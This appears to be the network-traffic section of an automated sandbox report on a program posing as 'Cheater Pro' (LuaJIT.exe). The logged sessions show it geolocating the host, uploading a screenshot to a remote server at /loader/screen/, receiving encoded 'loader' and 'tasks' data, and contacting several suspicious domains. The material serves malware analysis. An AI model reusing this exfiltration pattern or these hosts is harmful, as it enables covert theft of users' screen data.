Dec 19, 2023 05:20:26.971179962 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:20:26.971185923 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:20:26.971216917 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:20:26.971262932 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:20:26.971267939 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:20:26.971362114 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:20:26.971369982 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:20:26.971395016 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:20:26.971415043 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:20:26.971419096 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:20:26.971451998 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:20:26.971456051 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:20:26.971574068 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:20:26.971662998 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:20:26.971668005 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:20:26.971689939 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:20:26.971709967 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:20:26.971716881 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:20:26.971739054 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:20:26.971743107 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:20:26.971745968 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:20:26.971803904 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:20:26.971807957 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:20:26.971882105 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:20:26.971887112 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:20:26.971961975 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:20:26.971967936 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:20:26.972023010 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:20:26.972034931 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:20:26.972084999 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:20:26.972141027 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:20:26.972157001 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:20:27.180740118 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:20:27.180962086 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:20:27.612737894 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:20:27.612811089 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:20:28.440747023 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:20:28.440804958 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:20:30.108751059 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:20:30.108887911 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:20:33.496747971 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:20:33.496922970 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:20:35.496531010 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:20:35.496555090 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:20:35.496568918 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:20:35.496645927 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:20:35.496653080 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:20:35.496664047 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:20:35.496715069 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:20:35.496725082 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:20:35.496750116 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:20:35.496793985 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:20:35.708745956 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:20:35.708806038 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:20:35.919527054 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:20:35.919538975 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:20:35.919550896 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:20:35.919555902 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:20:35.919718027 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:20:35.919727087 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:20:35.919738054 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:20:35.919774055 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:20:35.919778109 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:20:35.919819117 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:20:35.919822931 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:20:35.919833899 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:20:35.919847965 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:20:35.919858932 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:20:35.919862032 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:20:35.919867992 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:20:35.919878960 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:20:35.919925928 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:20:35.919930935 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:20:35.919991016 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:20:35.919996977 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:20:35.920022964 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:20:35.920047045 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:20:35.920053959 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:20:35.920083046 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:20:35.920084953 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:20:35.920129061 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:20:35.920241117 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:20:35.920252085 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:20:35.920270920 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:20:35.920290947 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:20:35.920295954 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:20:35.920332909 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:20:35.920336008 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:20:35.920373917 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:20:35.920442104 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:20:35.920445919 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:20:35.920464993 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:20:35.920495033 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:20:35.920496941 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:20:35.920511007 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:20:35.920548916 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:20:35.920603991 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:20:35.920608044 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:20:35.920681000 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:20:35.920685053 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:20:35.920701981 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:20:35.920722961 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:20:35.920739889 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:20:35.920802116 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:20:35.920883894 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:20:36.132745028 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:20:36.132952929 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:20:36.568748951 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:20:36.569051981 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:20:37.404745102 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:20:37.404808998 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:20:39.068734884 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:20:39.068788052 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:20:42.143702984 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:20:42.143728018 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:20:42.143739939 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:20:42.143814087 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:20:42.143821001 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:20:42.143837929 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:20:42.143881083 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:20:42.143883944 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:20:42.143892050 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:20:42.143933058 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:20:42.143965006 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:20:42.143984079 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:20:42.348757982 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:20:42.348845005 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:20:42.560585022 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:20:42.560599089 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:20:42.560611963 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:20:42.560617924 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:20:42.560820103 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:20:42.560827017 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:20:42.560834885 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:20:42.560844898 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:20:42.560852051 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:20:42.560894012 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:20:42.560981989 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:20:42.560988903 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:20:42.561006069 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:20:42.561021090 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:20:42.561175108 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:20:42.561183929 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:20:42.561194897 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:20:42.561259031 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:20:42.561264038 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:20:42.561347961 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:20:42.561352968 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:20:42.561404943 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:20:42.561408997 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:20:42.561428070 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:20:42.561446905 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:20:42.561506033 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:20:42.561561108 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:20:48.646533966 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:20:49.076119900 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:20:55.862927914 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:20:55.862951040 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:21:37.945226908 CET	49726	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:21:38.364424944 CET	49727	80	192.168.2.6	104.21.80.57
Dec 19, 2023 05:21:38.488501072 CET	80	49727	104.21.80.57	192.168.2.6
Dec 19, 2023 05:21:38.488589048 CET	49727	80	192.168.2.6	104.21.80.57
Dec 19, 2023 05:21:38.488856077 CET	49727	80	192.168.2.6	104.21.80.57
Dec 19, 2023 05:21:38.488886118 CET	49727	80	192.168.2.6	104.21.80.57
Dec 19, 2023 05:21:38.614176989 CET	80	49727	104.21.80.57	192.168.2.6
Dec 19, 2023 05:21:38.614213943 CET	80	49727	104.21.80.57	192.168.2.6
Dec 19, 2023 05:21:38.948406935 CET	49726	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:21:39.230601072 CET	80	49726	213.248.43.40	192.168.2.6
Dec 19, 2023 05:21:39.231874943 CET	49726	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:21:39.232194901 CET	49726	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:21:39.513809919 CET	80	49726	213.248.43.40	192.168.2.6
Dec 19, 2023 05:21:39.683070898 CET	80	49726	213.248.43.40	192.168.2.6
Dec 19, 2023 05:21:39.683980942 CET	49726	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:21:39.792905092 CET	49726	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:21:39.794442892 CET	49717	80	192.168.2.6	108.181.20.35

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 19, 2023 05:18:11.168967009 CET	60249	53	192.168.2.6	1.1.1.1
Dec 19, 2023 05:18:11.295030117 CET	53	60249	1.1.1.1	192.168.2.6
Dec 19, 2023 05:18:24.382416010 CET	52451	53	192.168.2.6	1.1.1.1
Dec 19, 2023 05:18:24.509026051 CET	53	52451	1.1.1.1	192.168.2.6
Dec 19, 2023 05:21:37.965692997 CET	51401	53	192.168.2.6	1.1.1.1
Dec 19, 2023 05:21:38.225507021 CET	53	51401	1.1.1.1	192.168.2.6
Dec 19, 2023 05:21:38.228204012 CET	58636	53	192.168.2.6	1.1.1.1
Dec 19, 2023 05:21:38.355596066 CET	53	58636	1.1.1.1	192.168.2.6

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 19, 2023 05:18:11.168967009 CET	192.168.2.6	1.1.1.1	0xc2b2	Standard query (0)	ip-api.com	A (IP address)	IN (0x0001)	false
Dec 19, 2023 05:18:24.382416010 CET	192.168.2.6	1.1.1.1	0xe1d6	Standard query (0)	files.catbox.moe	A (IP address)	IN (0x0001)	false
Dec 19, 2023 05:21:37.965692997 CET	192.168.2.6	1.1.1.1	0xa270	Standard query (0)	slabbymenusportef.pw	A (IP address)	IN (0x0001)	false
Dec 19, 2023 05:21:38.228204012 CET	192.168.2.6	1.1.1.1	0x500d	Standard query (0)	dayfarrichjwclik.fun	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 19, 2023 05:18:11.295030117 CET	1.1.1.1	192.168.2.6	0xc2b2	No error (0)	ip-api.com		208.95.112.1	A (IP address)	IN (0x0001)	false
Dec 19, 2023 05:18:24.509026051 CET	1.1.1.1	192.168.2.6	0xe1d6	No error (0)	files.catbox.moe		108.181.20.35	A (IP address)	IN (0x0001)	false
Dec 19, 2023 05:21:38.225507021 CET	1.1.1.1	192.168.2.6	0xa270	Server failure (2)	slabbymenusportef.pw	none	none	A (IP address)	IN (0x0001)	false
Dec 19, 2023 05:21:38.355596066 CET	1.1.1.1	192.168.2.6	0x500d	No error (0)	dayfarrichjwclik.fun		104.21.80.57	A (IP address)	IN (0x0001)	false
Dec 19, 2023 05:21:38.355596066 CET	1.1.1.1	192.168.2.6	0x500d	No error (0)	dayfarrichjwclik.fun		172.67.174.181	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

files.catbox.moe

ip-api.com

dayfarrichjwclik.fun

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49709	208.95.112.1	80	1216	C:\Program Files (x86)\Cheater Pro Inc\Cheater Pro\LuaJIT.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2023 05:18:11.508095026 CET	162	OUT	GET /json/?fields=query,status,countryCode,city,timezone HTTP/1.1 Content-Type: application/json User-Agent: Tree Host: ip-api.com Cache-Control: no-cache
Dec 19, 2023 05:18:11.757081985 CET	287	IN	HTTP/1.1 200 OK Date: Tue, 19 Dec 2023 04:18:11 GMT Content-Type: application/json; charset=utf-8 Content-Length: 110 Access-Control-Allow-Origin: * X-Ttl: 60 X-Rl: 44 Data Raw: 7b 22 73 74 61 74 75 73 22 3a 22 73 75 63 63 65 73 73 22 2c 22 63 6f 75 6e 74 72 79 43 6f 64 65 22 3a 22 55 53 22 2c 22 63 69 74 79 22 3a 22 4d 69 61 6d 69 22 2c 22 74 69 6d 65 7a 6f 6e 65 22 3a 22 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 22 2c 22 71 75 65 72 79 22 3a 22 31 30 32 2e 31 32 39 2e 31 35 32 2e 32 31 32 22 7d Data Ascii: {"status":"success","countryCode":"US","city":"Miami","timezone":"America/New_York","query":"102.129.152.212"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49712	213.248.43.40	80	1216	C:\Program Files (x86)\Cheater Pro Inc\Cheater Pro\LuaJIT.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2023 05:18:14.447540045 CET	232	OUT	PUT /loader/screen/OWYsN2YsN2YsYTAsOWUsODYsOGMsOTYsNjQsN2Ms HTTP/1.1 Content-Type: multipart/form-data; boundary=aR7xY3qP2sL8mV1nH0oB9zD4A User-Agent: Tree Host: 213.248.43.40 Content-Length: 3933196 Cache-Control: no-cache
Dec 19, 2023 05:18:14.467238903 CET	11574	OUT	Data Raw: 2d 2d 61 52 37 78 59 33 71 50 32 73 4c 38 6d 56 31 6e 48 30 6f 42 39 7a 44 34 41 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f Data Ascii: --aR7xY3qP2sL8mV1nH0oB9zD4AContent-Type: application/octet-streamContent-Disposition: form-data; name="file"; filename="screen.bmp"BM6($$######$$$$$$$$#
Dec 19, 2023 05:18:14.730087996 CET	1286	OUT	Data Raw: 01 1b 0b 01 1b 0b 01 1b 0b 01 1b 0b 01 1b 0b 01 1b 0b 01 1b 0b 01 1b 0b 01 1b 0b 01 1b 0b 01 1b 0b 01 1b 0b 01 1b 0b 01 1b 0b 01 1b 0b 01 1b 0b 01 1b 0b 00 1b 0b 00 1b 0b 01 1b 0b 01 1b 0b 01 1b 0b 00 1b 0b 01 1b 0b 01 1b 0b 01 1b 0b 00 1b 0b 00 Data Ascii: vlg$$#################################
Dec 19, 2023 05:18:14.749481916 CET	2572	OUT	Data Raw: f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 c2 c2 c2 23 18 00 23 18 00 23 18 00 23 18 00 23 18 00 23 18 00 23 18 00 23 18 00 23 18 00 23 18 00 23 18 00 23 18 00 23 18 00 23 18 00 23 18 00 23 18 00 23 18 00 23 18 Data Ascii: ##################""""""""""""""""""""""#####################"""###"""""
Dec 19, 2023 05:18:14.749511003 CET	2572	OUT	Data Raw: 01 1c 0b 01 1c 0b 01 1b 0b 01 1b 0b 01 1b 0b 01 1b 0b 01 1b 0b 01 1b 0b 01 1c 0b 01 1b 0b 01 1b 0b 01 1b 0b 01 1b 0b 01 1b 0b 01 1b 0a 00 1b 0a 00 1b 0b 01 1b 0b 01 1b 0b 01 1b 0b 01 1b 0b 01 1b 0b 01 1b 0b 01 1b 0b 01 1b 0b 01 1b 0b 01 1b 0b 01 Data Ascii: vlg$$#######################################
Dec 19, 2023 05:18:14.749706984 CET	2572	OUT	Data Raw: 20 12 00 20 12 00 20 12 00 20 12 00 20 12 00 20 12 00 20 12 00 20 12 00 20 12 00 20 12 00 1f 12 00 1f 12 00 1f 12 00 1f 12 00 1f 12 00 1f 12 00 1f 12 00 1f 12 00 1f 12 00 1f 12 00 1f 12 00 1f 12 00 1f 12 00 1f 12 00 1f 12 00 1f 12 00 1f 12 00 1f Data Ascii:
Dec 19, 2023 05:18:14.749809980 CET	2572	OUT	Data Raw: 18 00 23 18 00 23 18 00 23 18 00 23 18 00 23 18 00 23 18 00 23 18 00 23 18 00 23 18 00 23 18 00 23 18 00 23 18 00 23 18 00 23 18 00 23 18 00 22 18 00 22 18 00 22 18 00 22 18 00 22 18 00 22 18 00 22 18 00 22 18 00 22 18 00 22 18 00 22 18 00 22 18 Data Ascii: ###############""""""""""""""""""""""#####################"""###"""""""""""""""""
Dec 19, 2023 05:18:14.750369072 CET	5144	OUT	Data Raw: 01 1b 0b 00 1b 0a 00 1b 0b 00 1b 0b 01 1b 0b 01 1b 0b 01 1b 0b 01 1b 0b 01 1b 0b 01 1b 0b 01 1b 0b 01 1b 0b 01 1b 0b 00 1b 0b 00 1b 0b 00 1b 0b 01 1b 0b 01 1b 0b 01 1b 0b 00 1a 0a 00 1b 0a 01 1b 0a 00 1b 0a 01 76 6d 67 1b 0b 01 1b 0b 01 1b 0b 01 Data Ascii: vmg$$######$$$$$$$$################################
Dec 19, 2023 05:18:14.750710011 CET	2572	OUT	Data Raw: 18 00 23 18 00 23 18 00 23 18 00 22 18 00 22 18 00 22 18 00 22 18 00 22 18 00 22 18 00 22 18 00 22 18 00 22 18 00 22 18 00 22 18 00 22 18 00 22 18 00 22 18 00 22 18 00 22 18 00 22 18 00 22 18 00 22 18 00 22 18 00 22 18 00 22 18 00 23 18 00 23 18 Data Ascii: ###""""""""""""""""""""""######################""###"""""""""""""""""""""""""""""
Dec 19, 2023 05:18:14.750843048 CET	2572	OUT	Data Raw: 01 1b 0b 01 1b 0b 01 1b 0b 00 1b 0a 00 1a 0a 00 1b 0a 00 1b 0b 01 1b 0b 01 1b 0b 01 1b 0b 01 1b 0b 01 77 6d 67 1b 0b 01 1b 0a 01 1b 0a 00 1b 0a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 Data Ascii: wmg$$$$$$$$$$$$$###$$$#####$$$$$$$$$$$$$$$$$$##$$$#
Dec 19, 2023 05:18:14.750924110 CET	2572	OUT	Data Raw: 1f 12 00 1f 12 00 1f 12 00 1f 12 00 1f 12 00 1f 12 00 1f 12 00 1f 12 00 1f 12 00 1f 12 00 1f 12 00 1f 12 00 1f 12 00 1f 12 00 1f 12 00 1f 12 00 1f 12 00 1f 12 00 1f 12 00 1f 12 00 1f 12 00 1f 12 00 1f 12 00 1f 12 00 1f 12 00 1f 12 00 1f 12 00 1f Data Ascii:
Dec 19, 2023 05:18:24.341967106 CET	1286	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 19 Dec 2023 04:18:24 GMT Content-Type: application/json Content-Length: 1852 Connection: keep-alive CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=5NmXzJw5DAzhh3gEdKbVLtgdWtdPH4lloucSGXIeDa9EMzvUTtE2HNf7HhNu3GkQbwIJYs6Ku8Ou%2Be5SiZgkcX2TFXxiaB3W7ZIfCFlwjRk2S2iTqh0s3gorGZjtlcA%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} CF-RAY: 837cd75f6cfd3a7e-FRA alt-svc: h3=":443"; ma=86400 Data Raw: 7b 22 6c 6f 61 64 65 72 22 3a 22 59 6a 4d 73 4e 57 49 73 5a 44 49 73 59 6d 4d 73 59 6d 59 73 4f 54 49 73 59 7a 45 73 5a 47 59 73 59 57 49 73 59 6a 59 73 5a 44 41 73 59 6d 45 73 59 6d 59 73 5a 44 55 73 59 7a 59 73 4f 57 51 73 59 6a 59 73 4f 54 59 73 4f 54 51 73 4f 47 51 73 4e 32 49 73 59 54 4d 73 4e 6a 4d 73 4e 54 59 73 4f 54 4d 73 59 6a 59 73 59 7a 55 73 5a 44 49 73 59 7a 63 73 5a 47 45 73 59 7a 59 73 4e 6a 67 73 4e 7a 49 73 4e 54 6b 73 59 54 45 73 4e 6d 59 73 4e 6d 59 73 4e 54 4d 73 59 7a 41 73 5a 44 45 73 59 6a 67 73 59 6a 4d 73 5a 54 41 73 59 7a 49 73 59 6d 51 73 59 32 59 73 4f 44 51 73 4e 7a 49 73 4e 6a 51 73 5a 57 59 73 4e 32 4d 73 5a 54 45 73 59 6a 51 73 5a 54 51 73 59 54 67 73 4e 54 59 73 4e 6d 4d 73 4e 6a 45 73 4e 32 55 73 4f 54 51 73 4f 44 45 73 4f 44 55 73 4e 32 45 73 59 6a 6b 73 59 57 4d 73 4f 57 45 73 5a 54 51 73 59 6a 67 73 59 7a 49 73 4e 54 4d 73 4f 44 67 73 4f 47 4d 73 59 6a 49 73 59 6a 4d 73 5a 44 63 73 59 7a 63 73 59 6d 59 73 5a 54 51 73 4f 47 55 73 4e 54 67 73 4e 6a 59 73 5a 54 67 73 59 6d 49 73 59 32 59 73 59 6a 63 73 5a 47 4d 73 59 6a 63 73 4e 54 59 73 4e 6d 4d 73 4e 6a 45 73 59 32 4d 73 4f 44 55 73 59 7a 6b 73 59 32 45 73 5a 44 41 73 59 6d 45 73 4e 57 45 73 4e 7a 4d 73 4f 54 41 73 4e 6a 55 73 4f 54 41 73 4f 57 59 73 4e 6d 55 73 5a 44 45 73 59 6d 55 73 59 7a 51 73 5a 47 45 73 59 7a 59 73 4e 32 45 73 5a 44 59 73 59 7a 55 73 4f 57 49 73 59 6a 6b 73 5a 54 59 73 59 32 4d 73 5a 44 49 73 59 57 59 73 4f 54 6b 73 4e 6d 59 73 4e 54 51 73 4e 54 51 73 59 6a 51 73 59 7a 55 73 59 7a 51 73 59 7a 6b 73 5a 47 45 73 59 32 49 73 4e 6a 67 73 4e 7a 49 73 4e 54 6b 73 5a 44 59 73 59 54 51 73 59 6d 49 73 59 54 51 73 59 6a 4d 73 5a 54 6b 73 4e 7a 67 73 4e 7a 49 73 4f 47 51 73 59 6d 4d 73 59 7a 4d 73 59 32 49 73 59 7a 63 73 4e 57 45 73 4e 32 55 73 4f 54 51 73 4f 47 49 73 4f 54 6b 73 4e 6d 49 73 4f 54 6b 73 59 6a 4d 73 4f 54 6b 73 59 54 51 73 59 6a 51 73 59 6d 45 73 5a 44 59 73 59 7a 6b 73 59 32 45 73 59 7a 59 73 59 54 6b 73 4f 57 51 73 4e 57 49 73 59 57 45 73 4e 6a 4d 73 4e 32 59 73 59 57 55 73 22 2c 22 74 61 73 6b 73 22 3a 22 4f 54 4d 73 59 6a 51 73 4f 54 49 73 59 57 4d 73 59 6a 4d 73 4e 54 4d 73 4f 44 67 73 4f 47 4d 73 Data Ascii: 